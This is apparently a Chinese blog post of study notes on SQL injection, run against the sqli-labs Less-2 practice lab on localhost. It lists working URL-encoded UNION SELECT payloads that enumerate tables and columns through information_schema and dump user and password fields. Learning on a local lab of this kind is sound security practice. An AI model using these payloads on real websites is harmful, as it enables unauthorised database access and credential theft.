网安--sql注入（高权限注入）

 

查询库中的所有表：http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x74657374(test的hex)

查询表的字段：http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=0x74657374

http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,user,pass%20from%20test.test1

posted on   na2co3-  阅读(7)  评论(0)  编辑  收藏  举报
相关博文：
·  网安--sql注入流程
·  网安--sql注入之加解密注入、堆叠注入、floor报错
·  sqli-lab less-1
·  SQL注入
·  使用sqlmap进行联合查询注入要点
阅读排行：
· 25岁的心里话
· 闲置电脑爆改个人服务器（超详细） #公网映射 #Vmware虚拟网络编辑器
· 基于 Docker 搭建 FRP 内网穿透开源项目（很简单哒）
· 零经验选手，Compose 一天开发一款小游戏！
· 一起来玩mcp_server_sqlite，让AI帮你做增删改查！！



点击右上角即可分享
微信分享提示